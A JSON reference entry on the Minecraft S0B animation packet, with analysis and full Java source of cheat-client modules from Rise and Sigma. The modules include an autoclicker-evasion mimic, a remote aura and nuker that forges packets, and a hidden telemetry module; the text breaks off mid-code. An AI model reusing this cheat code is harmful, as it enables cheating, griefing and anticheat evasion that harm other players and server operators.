    {
     "name": "type",
     "type": "byte",
     "desc": "0=swing, 1=damage, 2=leaveBed, 3/eat, 4/critical, 5/magicCritical, 6/crouch, 7/uncrouch"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Animation",
     "unsigned byte",
     "0=swing, 1=damage, 2=leaveBed, 3=eat, 4=critical, 5=magic, 6=crouch, 7=uncrouch"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleAnimation()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S0B broadcasts an entity animation: a VarInt entity id and a byte type (0 swing, 1 damage, 2 leave bed, 3 eat or drink, 4 critical, 5 magic critical, 6 crouch, 7 uncrouch). EntityLivingBase.swingItem sends type 0 through the entity tracker, EntityPlayerMP sends 2 and 3 on bed leave and eating, and attackEntityAsMob sends 4 and 5 for crits. The client handler switches on the type and drives the entity's animation state."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleAnimation looks up the entity and applies the animation: swingProgress for type 0, hurtTime for 1, and so on. Server-side the tracker fans the packet out to every player tracking the entity, so a swing is the one reliable signal that another player is attacking."
     },
     {
      "h": "Why clients touch it",
      "p": "S0B is the swing ground truth, and the corpus uses it five ways. ClickerMimic (Rise 6.x) records per-player swing intervals and replays them as the client's own clicks. Ranking (Sigma) timestamps swings and attributes deaths to players who swung within 70 ms of the local player taking damage. Rise 5.99 runs its own anticheat off S0B: AutoClickerA counts swings against movement packets, KeepSprintA couples swings to sprint state. PlayerHacks (Rise 5.99) gates its remote aura and nuker on the master's swings, and SocialCreditScore subtracts points for every weapon swing it observes. Nekoware and Rise 5.99 Scaffold import S0B for placement-swing sync without handling it. LiquidSense Dev's AntiBot records every type-0 swing entity id into a swing set on the packet bus and flags entities that never swing as bots when its Swing check is enabled, the only swing telemetry in the corpus outside Rise's checks."
     },
     {
      "h": "Exploit surface",
      "p": "S0B is clientbound only and cannot be spoofed outward, so abuse is observational. A player who hits without producing swings, or with perfectly regular intervals, is an autoclicker; that is exactly what Rise's AutoClickerA and KeepSprintA checks measure on the client's own users. ClickerMimic inverts the trick: it measures a victim's swing rhythm and reproduces it, so the client's clicks inherit a human-looking distribution without any randomization logic of its own."
     }
    ],
    "overview": "The animation broadcast: entity id plus a type byte, fanned out by the entity tracker. The only reliable signal that another player swung, which makes it the heartbeat of click mimicry, swing-based anticheat checks, combat logging, aura gating and bot filtering across the reference clients.",
    "server_handling": "EntityLivingBase.swingItem sends S0B type 0 to all tracking entities; EntityPlayerMP sends type 2 on bed leave, type 3 on eating, and attackEntityAsMob emits types 4 and 5 for critical hits through func_151248_b. The server applies no rate limit: swings are broadcast as produced, which is what makes swing-count heuristics possible.",
    "protocol_notes": "Fields: VarInt entity id, unsigned byte animation type. Clientbound in PLAY state. The type byte is read as readUnsignedByte, so values above 7 are legal on the wire and ignored by the vanilla switch. The swing type 0 is the only animation players emit at click rate, which is why every module keys on it specifically.",
    "anticheat_landscape": "Swing-vs-movement ratio is the autoclicker tell: more than 3 swings per movement packet flags AutoClickerA. Keepsprint couples swings to sprint state. The client-side checks in Rise 5.99 are notable because they run in the cheat itself, proof that S0B is the swing source of truth for both sides of the ecosystem.",
    "modules": [
     {
      "name": "ClickerMimic",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Record the swing intervals of every visible player and replay them as the client's own clicks, so the local click pattern mirrors the victim's rhythm.",
      "how_it_works": "On PacketReceiveEvent, each S0B stamps ticksExisted into a per-name interval list. While the attack key is held, PreUpdateEvent replays the recorded intervals as mc.clickMouse() calls, halved in duration. Sneaking clears the recordings.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/combat/mimic/ClickerMimic.java =====\npackage com.alan.clients.module.impl.combat.mimic;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.impl.combat.Mimic;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.util.Tuple;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Optional;\n\npublic class ClickerMimic extends Mode<Mimic> {\n\n    public ClickerMimic(String name, Mimic parent) {\n        super(name, parent);\n    }\n\n    private long next;\n    private HashMap<String, Tuple<ArrayList<Integer>, Integer>> clicks = new HashMap<>();\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketReceiveEvent> onReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S0BPacketAnimation) {\n            S0BPacketAnimation animation = ((S0BPacketAnimation) packet);\n\n            int id = animation.getEntityID();\n            if (id == mc.thePlayer.getEntityId()) return;\n\n            String name = mc.theWorld.getEntityByID(id).getCommandSenderName();\n            int tick = mc.thePlayer.ticksExisted;\n\n            if (!clicks.containsKey(name)) {\n                clicks.put(name, new Tuple<>(new ArrayList<>(), tick));\n            }\n\n            Tuple<ArrayList<Integer>, Integer> data = clicks.get(name);\n\n            ChatUtil.display(\"Recorded \" + (tick - data.getSecond()) + \" von \" + name);\n            data.getFirst().add(tick - data.getSecond());\n            data.setSecond(tick);\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (!mc.gameSettings.keyBindAttack.isKeyDown()) return;\n\n        if (mc.gameSettings.keyBindSneak.isKeyDown()) clicks = new HashMap<>();\n\n        if (System.currentTimeMillis() > next) {\n            long next = 0;\n\n            while (next == 0 || next >= 9 * 50) {\n                if (next != 0) ChatUtil.display(\"Running again prev \" + next);\n                Optional<String> first = clicks.keySet().stream().findFirst();\n\n                if (!first.isPresent()) {\n                    ChatUtil.display(\"Empty\");\n                    return;\n                }\n                Tuple<ArrayList<Integer>, Integer> data = clicks.get(first.get());\n\n                if (data.getFirst().isEmpty()) {\n                    clicks.remove(first.get());\n                    return;\n                }\n\n                next = data.getFirst().get(0) * 50;\n                data.getFirst().remove(0);\n\n                ChatUtil.display(\"Running \" + first.get() + \" \" + next);\n            }\n\n            this.next = System.currentTimeMillis() + next / 2L;\n\n            mc.clickMouse();\n            mc.leftClickCounter = 1;\n        }\n    };\n}\n// NOTE (AI): Records the swing rhythm of every other player visible to the client: each S0B stamps ticksExisted into a per-name interval list (the type byte is not checked, but type 0 swing is the only animation other players broadcast at click rate). While the attack key is held, the module replays the recorded intervals as mc.clickMouse() calls, halved in duration, so the client's own clicks inherit the victim's distribution. The module is purely observational: it reads the server broadcast and mimics, sending nothing and cancelling nothing. The ChatUtil.display debug spam marks this as a work-in-progress build.",
      "code_source": "Rise 6.1.30 - com/alan/clients/module/impl/combat/mimic/ClickerMimic.java",
      "vanilla_hook": "PacketReceiveEvent (S0B), PreUpdateEvent (click replay).",
      "anti_cheat_notes": "The replayed rhythm is a real human distribution sampled from another player, which defeats interval-based autoclicker checks better than any synthetic randomization; the cost is that the pattern is identifiable across sessions.",
      "variations": "Identical in 6.1.30 and 6.2.4; both register the S0B listener at Priorities.VERY_LOW."
     },
     {
      "name": "PlayerHacks",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Gate a remote aura and nuker on the selected master player's swings: the module only acts after observing an S0B from that entity.",
      "how_it_works": "onPacketReceive sets the swung flag when an S0B entity id matches the master. onPreMotion then pathfinds the master along a computed route on a worker thread, sends C04 position packets and C02 attack packets, and reverses the route. The onlyOnSwing setting requires a fresh swing before each pass.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/PlayerHacks.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.render.Freecam;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.pathfinding.Vec3;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MathHelper;\n\nimport java.util.*;\nimport java.util.stream.Collectors;\n\n@ModuleInfo(name = \"PlayerHacks\", description = \"Gives another player hacks\", category = Category.OTHER)\npublic final class PlayerHacks extends Module {\n\n    private final NoteSetting modeSettings = new NoteSetting(\"Mode Settings\", this);\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Aura\", \"Aura\", \"Nuker\");\n    private final ModeSetting auraMode = new ModeSetting(\"Aura Mode\", this, \"Single\", \"Single\", \"Multi\");\n    private final NoteSetting nukerSettings = new NoteSetting(\"Nuker Settings\", this);\n    private final NumberSetting delay = new NumberSetting(\"Delay\", this, 100, 0, 5000, 50);\n    private final NumberSetting nukerRange = new NumberSetting(\"Nuker Range\", this, 4, 1, 7, 0.5);\n    private final BooleanSetting instantOnly = new BooleanSetting(\"Instant Only\", this, false);\n    private final BooleanSetting scatter = new BooleanSetting(\"Scatter\", this, false);\n    private final NoteSetting auraSettings = new NoteSetting(\"Aura Settings\", this);\n    private final NumberSetting cps = new NumberSetting(\"CPS\", this, 5, 1, 20, 1);\n    private final NumberSetting auraRange = new NumberSetting(\"Aura Range\", this, 8, 4, 120, 1);\n    private final NumberSetting maxTargets = new NumberSetting(\"Max Targets\", this, 25, 2, 50, 1);\n    private final NoteSetting generalSettings = new NoteSetting(\"General Settings\", this);\n    private final BooleanSetting onlyOnSwing = new BooleanSetting(\"Only On Swing\", this, true);\n    private final BooleanSetting swing = new BooleanSetting(\"Swing\", this, true);\n\n    private final TimeUtil timer = new TimeUtil();\n    public static String master = \"\";\n    private boolean swung;\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        switch (mode.getMode()) {\n            case \"Aura\":\n                auraSettings.hidden = false;\n                auraMode.hidden = false;\n                cps.hidden = false;\n                auraRange.hidden = false;\n                maxTargets.hidden = !auraMode.is(\"Multi\");\n\n                nukerSettings.hidden = true;\n                delay.hidden = true;\n                nukerRange.hidden = true;\n                instantOnly.hidden = true;\n                scatter.hidden = true;\n                break;\n\n            case \"Nuker\":\n                nukerSettings.hidden = false;\n                delay.hidden = false;\n                nukerRange.hidden = false;\n                instantOnly.hidden = false;\n                scatter.hidden = false;\n\n                auraSettings.hidden = true;\n                auraMode.hidden = true;\n                cps.hidden = true;\n                auraRange.hidden = true;\n                maxTargets.hidden = true;\n                break;\n        }\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.theWorld.getPlayerEntityByName(master) == null || (!swung && onlyOnSwing.isEnabled()))\n            return;\n\n        final Entity masterEntity = mc.theWorld.getPlayerEntityByName(master);\n        final EntityPlayer thePlayer = mc.thePlayer;\n\n        final boolean freecamEnabled = Objects.requireNonNull(Rise.INSTANCE.getModuleManager().getModule(\"Freecam\")).isEnabled();\n        double x = thePlayer.posX;\n        double y = thePlayer.posY;\n        double z = thePlayer.posZ;\n\n        if (freecamEnabled) {\n            x = Freecam.startX;\n            y = Freecam.startY;\n            z = Freecam.startZ;\n        }\n\n        final double finalZ = z;\n        final double finalY = y;\n        final double finalX = x;\n\n        switch (mode.getMode()) {\n            case \"Aura\": {\n                if (!timer.hasReached((long) (((20 - cps.getValue()) * 50) - Math.random() * 100)))\n                    return;\n\n                final List<EntityPlayer> targets = getEntities(masterEntity, auraRange.getValue());\n\n                final int maxTargets = (int) Math.round(this.maxTargets.getValue());\n\n                if (auraMode.is(\"Multi\") && targets.size() > maxTargets)\n                    targets.subList(maxTargets, targets.size()).clear();\n\n                if (targets.isEmpty())\n                    return;\n\n                timer.reset();\n\n                final EntityPlayer target = targets.get(0);\n\n                /* Creating a new thread */\n                switch (auraMode.getMode()) {\n                    case \"Single\": {\n                        final double targetX = target.posX;\n                        final double targetY = target.posY;\n                        final double targetZ = target.posZ;\n                        new Thread(() -> {\n                            /* Getting path */\n                            final ArrayList<Vec3> path = MainPathFinder.computePath(new Vec3(finalX, finalY, finalZ), new Vec3(targetX, targetY, targetZ));\n\n                            for (final Vec3 vec : path)\n                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n\n                            if (swing.isEnabled())\n                                mc.thePlayer.swingItem();\n\n                            /*\n                             * Calls attack event so other modules can use information from the entity\n                             * When the C02 packet is sent the attack event does not\n                             * get called, so we have to manually call it ourselves in here.\n                             */\n                            final AttackEvent attackEvent = new AttackEvent(target);\n                            attackEvent.call();\n\n                            if (!attackEvent.isCancelled())\n                                PacketUtil.sendPacketWithoutEvent(new C02PacketUseEntity(target, C02PacketUseEntity.Action.ATTACK));\n\n                            Collections.reverse(path);\n\n                            for (final Vec3 vec : path)\n                                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n                        }).start();\n                        break;\n                    }\n\n                    case \"Multi\": {\n                        for (final EntityPlayer player : targets) {\n                            final double targetX = player.posX;\n                            final double targetY = player.posY;\n                            final double targetZ = player.posZ;\n                            new Thread(() -> {\n                                /* Getting path */\n                                final ArrayList<Vec3> path = MainPathFinder.computePath(new Vec3(finalX, finalY, finalZ), new Vec3(targetX, targetY, targetZ));\n\n                                for (final Vec3 vec : path)\n                                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n\n                                if (swing.isEnabled())\n                                    mc.thePlayer.swingItem();\n\n                                /*\n                                 * Calls attack event so other modules can use information from the entity\n                                 * When the C02 packet is sent the attack event does not\n                                 * get called, so we have to manually call it ourselves in here.\n                                 */\n                                final AttackEvent attackEvent = new AttackEvent(player);\n                                attackEvent.call();\n\n                                if (!attackEvent.isCancelled())\n                                    PacketUtil.sendPacketWithoutEvent(new C02PacketUseEntity(player, C02PacketUseEntity.Action.ATTACK));\n\n                                Collections.reverse(path);\n\n                                for (final Vec3 vec : path)\n                                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n                            }).start();\n                        }\n                        break;\n                    }\n                }\n                swung = false;\n                break;\n            }\n\n            case \"Nuker\": {\n                if (!timer.hasReached((long) delay.getValue()))\n                    return;\n\n                final double radius = nukerRange.getValue() - 1;\n\n                timer.reset();\n\n                /* Creating a new thread */\n                final double masterX = masterEntity.posX;\n                final double masterY = masterEntity.posY;\n                final double masterZ = masterEntity.posZ;\n                new Thread(() -> {\n                    /* Getting path */\n                    final ArrayList<Vec3> path = MainPathFinder.computePath(new Vec3(finalX, finalY, finalZ), new Vec3(masterX, masterY, masterZ));\n\n                    for (final Vec3 vec : path)\n                        PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n\n                    nuke(radius, masterX, masterY, masterZ);\n\n                    Collections.reverse(path);\n\n                    for (final Vec3 vec : path)\n                        PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), true));\n                }).start();\n                swung = false;\n                break;\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.theWorld.getPlayerEntityByName(master) == null)\n            return;\n\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation packetAnimation = (S0BPacketAnimation) p;\n            if (packetAnimation.getEntityID() == mc.theWorld.getPlayerEntityByName(master).getEntityId())\n                swung = true;\n        }\n\n        if (mode.is(\"Nuker\") && p instanceof S02PacketChat) {\n            final S02PacketChat packetChat = (S02PacketChat) p;\n            final String message = packetChat.getChatComponent().getUnformattedText();\n            if (!packetChat.isChat() && message.equals(\"You can't build outside the plot!\"))\n                event.setCancelled(true);\n        }\n    }\n\n    private List<EntityPlayer> getEntities(final Entity master, final double range) {\n        // Returns the list of entities\n        return mc.theWorld.playerEntities\n                // Stream our entity list.\n                .stream()\n\n                // Only get the entities we can attack.\n                .filter(entity -> {\n                    if (entity.isDead) return false;\n\n                    if (entity.deathTime != 0) return false;\n\n                    if (entity.ticksExisted < 2) return false;\n\n                    for (final String name : Rise.INSTANCE.getFriends()) {\n                        if (name.equalsIgnoreCase(entity.getGameProfile().getName()))\n                            return false;\n                    }\n\n                    return master != entity && mc.thePlayer != entity;\n                })\n\n                // Do a proper distance calculation to get entities we can reach.\n                .filter(entity -> {\n                    // DO NOT TOUCH THIS VALUE ITS CALCULATED WITH MATH\n                    final double girth = 0.5657;\n\n                    // See if the other entity is in our range.\n                    return master.getDistanceToEntity(entity) - girth < range;\n                })\n\n                // Sort out potential targets with the algorithm provided as a setting.\n                .sorted(Comparator.comparingDouble(master::getDistanceSqToEntity))\n\n                .sorted(Comparator.comparingDouble(entity -> {\n                    final float[] rotation = rotateToEye(entity);\n                    final float pitch = rotation[1];\n                    final float yaw = rotation[0];\n                    return Math.abs(pitch - master.rotationPitch) + Math.abs(yaw - master.rotationYaw);\n                }))\n\n                // Sort out all the specified targets.\n                .sorted(Comparator.comparing(entity -> !Rise.INSTANCE.getTargets().contains(entity.getName())))\n\n                // Get the possible targets and put them in a list.\n                .collect(Collectors.toList());\n    }\n\n    private float[] rotateToEye(final EntityLivingBase entityLivingBase) {\n        final double x = entityLivingBase.posX;\n        final double y = entityLivingBase.posY + entityLivingBase.getEyeHeight() / 2.0f;\n        final double z = entityLivingBase.posZ;\n        return getRotationFromPosition(x, y, z);\n    }\n\n    private float[] getRotationFromPosition(final double x, final double y, final double z) {\n        final double xDiff = x - mc.theWorld.getPlayerEntityByName(master).posX;\n        final double zDiff = z - mc.theWorld.getPlayerEntityByName(master).posZ;\n        final double yDiff = y - mc.theWorld.getPlayerEntityByName(master).posY - 1.2;\n        final double dist = MathHelper.sqrt_double(xDiff * xDiff + zDiff * zDiff);\n        final float yaw = (float) (Math.atan2(zDiff, xDiff) * 180.0D / Math.PI) - 90.0F;\n        final float pitch = (float) -(Math.atan2(yDiff, dist) * 180.0D / Math.PI);\n        return new float[]{yaw, pitch};\n    }\n\n    private void nuke(final double range, final double xPos, final double yPos, final double zPos) {\n        if (range == 0) {\n            final BlockPos blockPos = new BlockPos(xPos, yPos, zPos);\n            final Block block = mc.theWorld.getBlockState(blockPos).getBlock();\n\n            if (block instanceof BlockAir || (block.getBlockHardness() > 0 && instantOnly.isEnabled()))\n                return;\n\n            PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n            PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n\n            if (swing.isEnabled())\n                mc.thePlayer.swingItem();\n        } else {\n            for (double x = -range; x < range; x++) {\n                for (double y = range; y > -range; y--) {\n                    for (double z = -range; z < range; z++) {\n                        if (scatter.isEnabled() && !((mc.thePlayer.ticksExisted % 2 == 0 ? x : z) % 2 == 0))\n                            continue;\n\n                        final BlockPos blockPos = new BlockPos(xPos + x, yPos + y, zPos + z);\n                        final Block block = mc.theWorld.getBlockState(blockPos).getBlock();\n\n                        if (block instanceof BlockAir || (block.getBlockHardness() > 0 && instantOnly.isEnabled()))\n                            continue;\n\n                        PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n                        PacketUtil.sendPacketWithoutEvent(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, blockPos, EnumFacing.NORTH));\n\n                        if (swing.isEnabled())\n                            mc.thePlayer.swingItem();\n                    }\n                }\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        if (master.isEmpty())\n            Rise.addChatMessage(\"Use the PlayerHacks command to set the target.\");\n        swung = false;\n        timer.reset();\n    }\n}\n// NOTE (AI): S0B is the gate for the aura and nuker: the module only acts for the selected master player after a swing animation from that entity is observed (swung flag, onlyOnSwing setting). The swing is the human-input signal the module waits for before pathfinding the master along a computed route and attacking everything in range with C02 use-entity packets sent on worker threads. It is the only packet the module reads about other players, which is why S0B appears here at all: aura-gating and kill-effect modules use arm swings as their trigger.",
      "code_source": "Rise 5.99 - dev/rise/module/impl/other/PlayerHacks.java",
      "vanilla_hook": "PacketReceiveEvent (S0B gate), PreMotionEvent (execution).",
      "anti_cheat_notes": "The swing gate is a human-input check, not an anti-cheat evasion: the module makes another player attack for you and would be instantly obvious to staff; the S0B read is purely a trigger.",
      "variations": "Nekoware v1 and Rise 5.99 Scaffold also import S0B without handling it; no other client has a swing-gated remote module."
     },
     {
      "name": "SocialCreditScore",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Joke-module telemetry: penalize the tracked player's social credit score for every observed weapon swing.",
      "how_it_works": "handlePacketEvent runs on the packet bus: each S0B with type 0 and the tracked entity id subtracts 50 score for a sword, 10 otherwise; handleUpdate additionally charges 100 for merely holding a tool or sword.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/util/misc/socialcreditscore/SocialCreditScore.java =====\npackage dev.rise.util.misc.socialcreditscore;\n\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport lombok.Getter;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.item.ItemTool;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\n\nimport java.util.HashMap;\n\n@Getter\npublic class SocialCreditScore {\n\n    private int score;\n    private boolean ownsWeapon;\n\n    private EntityOtherPlayerMP entity;\n\n    private final HashMap<String, EnumCrimes> crimes = new HashMap<>();\n\n    public void handlePacketEvent(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation packetAnimation = (S0BPacketAnimation) event.getPacket();\n\n            if (packetAnimation.getAnimationType() == 0 && packetAnimation.getEntityID() == entity.getEntityId()) {\n                score -= entity.getHeldItem().getItem() instanceof ItemSword ? 50 : 10;\n\n//                if(!crimes.containsValue(EnumCrimes.ATTACK))\n            }\n        }\n    }\n\n    public void handleUpdate() {\n        if (!ownsWeapon) {\n            final Item item = entity.getHeldItem().getItem();\n\n            if (item instanceof ItemTool || item instanceof ItemSword) {\n                ownsWeapon = true;\n                score -= 100;\n            }\n        }\n    }\n}\n// NOTE (AI): Joke-module telemetry. Every type-0 swing from the tracked entity subtracts 50 score when the entity holds a sword, 10 otherwise, and merely owning a tool or sword costs 100 points. The S0B stream is the only input and the handlePacketEvent is called from the client's packet-receive bus; nothing is mutated or sent. This is the smallest functional S0B consumer in the corpus.",
      "code_source": "Rise 5.99 - dev/rise/util/misc/socialcreditscore/SocialCreditScore.java",
      "vanilla_hook": "PacketReceiveEvent via handlePacketEvent.",
      "anti_cheat_notes": "None: the module reads S0B and mutates nothing on the wire.",
      "variations": "No other client has an equivalent; this is a single-file utility class in Rise 5.99 only."
     },
     {
      "name": "Ranking",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Hidden telemetry: timestamp swings and attribute deaths to players who swung within 70 ms of the local player taking damage.",
      "how_it_works": "On EventPacket, S0B timestamps are stored per entity id; when S06PacketUpdateHealth shows the local player losing health, any player with a swing under 70 ms old and within 9 blocks is registered as a prosecutor. S08 resets the state as a respawn; S18 teleports and S13 destroy-entities finalize records, and the sendStat bodies are empty in this build.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventAttack;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.users.TTSystem;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ConcurrentModificationException;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic class Ranking extends Module {\n    private HashMap<Integer, HitEntity> hitEntities = new HashMap<>();\n    private HashMap<Integer, HitEntity> prosecutorEntities = new HashMap<>();\n    private HashMap<Integer, Long> lastAnimationTimestamp = new HashMap<>();\n    private info.sigmaclient.util.Timer delay = new Timer();\n\n    public Ranking(ModuleData data) {\n        super(data);\n        setHidden(true);\n        if (!isEnabled()) {\n            toggle();\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventAttack.class, EventPacket.class, EventUpdate.class})\n    public void onEvent(Event e) {\n        if (e instanceof EventAttack) {\n            EventAttack ea = (EventAttack) e;\n            if (ea.getEntity() instanceof EntityPlayer) {\n                EntityPlayer ep = (EntityPlayer) ea.getEntity();\n                if (!ep.getName().isEmpty()) {\n                    if (!hitEntities.containsKey(ep.getEntityId())) {\n                        hitEntities.put(ep.getEntityId(), new HitEntity(ep));\n                    } else {\n                        hitEntities.get(ep.getEntityId()).refresh();\n                    }\n                }\n            }\n        } else if (e instanceof EventPacket) {\n            EventPacket ep = (EventPacket) e;\n            Packet packet = ep.getPacket();\n            if (packet instanceof S0BPacketAnimation) {\n                S0BPacketAnimation packetAnimation = (S0BPacketAnimation) packet;\n                lastAnimationTimestamp.put(packetAnimation.func_148978_c(), System.currentTimeMillis());\n            }\n            if (packet instanceof S06PacketUpdateHealth) {\n                S06PacketUpdateHealth packetUpdateHealth = (S06PacketUpdateHealth) packet;\n                if (packetUpdateHealth.getHealth() <= Minecraft.getMinecraft().thePlayer.getHealth()) {\n                \ttry{\n                \t\tfor (Object o : mc.theWorld.getLoadedEntityList()) {\n                            if (o instanceof EntityPlayer) {\n                                EntityPlayer entityPlayer = (EntityPlayer) o;\n                                if (!(entityPlayer instanceof EntityPlayerSP) && lastAnimationTimestamp.containsKey(entityPlayer.getEntityId())) {\n                                    if (lastAnimationTimestamp.get(entityPlayer.getEntityId()) > System.currentTimeMillis() - 70 && entityPlayer.getPositionVector().squareDistanceTo(Minecraft.getMinecraft().thePlayer.getPositionVector()) < 9 * 9) {\n                                        if (!prosecutorEntities.containsKey(entityPlayer.getEntityId())) {\n                                            prosecutorEntities.put(entityPlayer.getEntityId(), new HitEntity(entityPlayer, true));\n                                        } else {\n                                            prosecutorEntities.get(entityPlayer.getEntityId()).refresh();\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                \t}catch(ConcurrentModificationException ee){};\n                    \n                }\n                if (packetUpdateHealth.getHealth() <= 0) {\n                    onDeath();\n                }\n            }\n            if (packet instanceof S02PacketChat) {\n                S02PacketChat packetChat = (S02PacketChat) packet;\n                String message = packetChat.func_148915_c().getUnformattedText();\n\n                Iterator it = hitEntities.entrySet().iterator();\n                while (it.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it.remove();\n                        }\n                    }\n                }\n\n                Iterator it2 = prosecutorEntities.entrySet().iterator();\n                while (it2.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName()) && message.contains(Minecraft.getMinecraft().thePlayer.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it2.remove();\n                        }\n                    }\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport packetTeleport = (S18PacketEntityTeleport) packet;\n                int entityId = packetTeleport.func_149451_c();\n\n                onEntityRemoved(entityId);\n            } else if (packet instanceof S08PacketPlayerPosLook) {\n                onDeath();\n            } else if (packet instanceof S13PacketDestroyEntities) {\n                S13PacketDestroyEntities packetDestroyEntities = 